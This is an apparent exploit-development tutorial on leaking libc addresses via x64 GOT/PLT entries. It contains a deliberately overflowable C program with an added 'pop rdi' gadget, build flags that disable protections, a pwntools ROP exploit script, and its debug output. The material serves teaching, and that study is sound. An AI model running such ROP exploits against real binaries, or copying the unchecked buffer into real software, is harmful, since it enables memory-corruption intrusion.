x64 GOT Pointer Leakage

I’ve previously covered bypassing ASLR using Global Offset Table (GOT) entries on 32-bit systems. This article is looking at doing the same thing on 64-bit Linux systems, as this differs slightly.

Firstly, a recap on what the PLT and GOT are.

PLT (Procedure Linkage Table)
It’s used by dynamically linked executables (those using shared libraries).
When you call a function like printf, your program doesn’t jump straight to libc it first goes through the PLT.

GOT (Global Offset Table)
The GOT is a table of the addresses of dynamically resolved functions. These are resolved by the PLT.
Initially, entries in the GOT point to the PLT stub. Once the function is resolved, the GOT entry is updated with the actual function address (like the printf in libc).

The PLT and GOT locations are fixed in a binary. We can exploit this to leak addresses in libc. This is simple to do;

Call puts@plt with the address of puts@got, after the PLT stub has been executed.
On x64, the puts parameters (pots@got) will need to be placed into the RDI register.


Vulnerable Code

The probability of finding a POP RDI gadget in a small executable such as our example one is limited. Because of this, we will add inline ASM to make sure the instruction is included.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

__attribute__((naked)) void gadget() {
    __asm__("pop %rdi; ret");
}
 
void check_password() {
    char password[32];
 
    puts("Password:");
    fgets(password, 200, stdin);
 
    if(strcmp(password, "bordergate\n") == 0) {
        puts("pass\n");
    }
    else {
        puts("fail\n");
    }
}
 
int main(int argc, char **argv) {
    check_password();
    return 0;
}

Compile the code with:

gcc -no-pie -fno-stack-protector got_example.c  -o got_example -std=c99

Exploit Code

Our code will use pwntools to gather the important details.

#!/usr/bin/python
from pwn import *
 
io = process("./got_example")
context.log_level = 'DEBUG'
elf = ELF('./got_example')
rop = ROP(elf)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

payload = b''
payload += b"A" * 40
payload += p64(pop_rdi)   # GOT entry placed in RDI for a parameter to puts()
payload += p64(puts_got)  # puts@GOT
payload += p64(puts_plt)  # puts@PLT
payload += p64(main_addr) # Our program's main function

io.recvuntil(b'Password:\n')
io.sendline(payload)
io.recvuntil(b'fail')

leak = io.recvline().strip()
leak = io.recvline().strip()

leak = io.recvline().strip()
log.info(f"Leaked line: {leak}")

try:
    puts_leak = u64(leak.ljust(8, b'\x00'))
    log.success(f"Leaked puts@libc: {hex(puts_leak)}")
except:
    log.error("Failed to decode leaked address")

io.interactive()
python3  plt_got_abuse.py  
[+] Starting local process './plt_example': pid 301184
[*] '/home/kali/EXPLOITDEV/PLT_GOT/plt_example'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Loaded 6 cached gadgets for './plt_example'
[DEBUG] Received 0xa bytes:
    b'Password:\n'
[DEBUG] Sent 0x49 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  46 11 40 00  00 00 00 00  │AAAA│AAAA│F·@·│····│
    00000030  68 33 40 00  00 00 00 00  30 10 40 00  00 00 00 00  │h3@·│····│0·@·│····│
    00000040  b7 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000049
[DEBUG] Received 0x17 bytes:
    00000000  66 61 69 6c  0a 0a 60 17  e3 f7 ff 7f  0a 50 61 73  │fail│··`·│····│·Pas│
    00000010  73 77 6f 72  64 3a 0a                               │swor│d:·│
    00000017
[*] Leaked line: b'`\x17\xe3\xf7\xff\x7f'
[+] Leaked puts@libc: 0x7ffff7e31760
[*] Switching to interactive mode
Password:

We can verify the code is providing the correct result using the GNU debugger:

┌──(kali㉿kali)-[~/EXPLOITDEV/PLT_GOT]
└─$ readelf -r got_example | grep puts
000000403368  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
                                                                                                                                                                                                                                                                 
┌──(kali㉿kali)-[~/EXPLOITDEV/PLT_GOT]
└─$ gdb -q ./got_example              

warning: /home/kali/pwndbg/gdbinit.py: No such file or directory
Reading symbols from ./got_example...
(No debugging symbols found in ./got_example)
(gdb) run
Starting program: /home/kali/EXPLOITDEV/PLT_GOT/got_example 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Password:
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eb56dd in __GI___libc_read (fd=0, buf=0x4046b0, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
warning: 26     ../sysdeps/unix/sysv/linux/read.c: No such file or directory
(gdb) x/a 000000403368
Invalid number "000000403368".
(gdb) x/a 0x000000403368
0x403368 &lt;puts@got.plt>:        0x7ffff7e31760 &lt;__GI__IO_puts>

In Conclusion

This technique is of limited utility, unless you have an executable that contains a “POP RDI” gadget and does not have PIE enabled.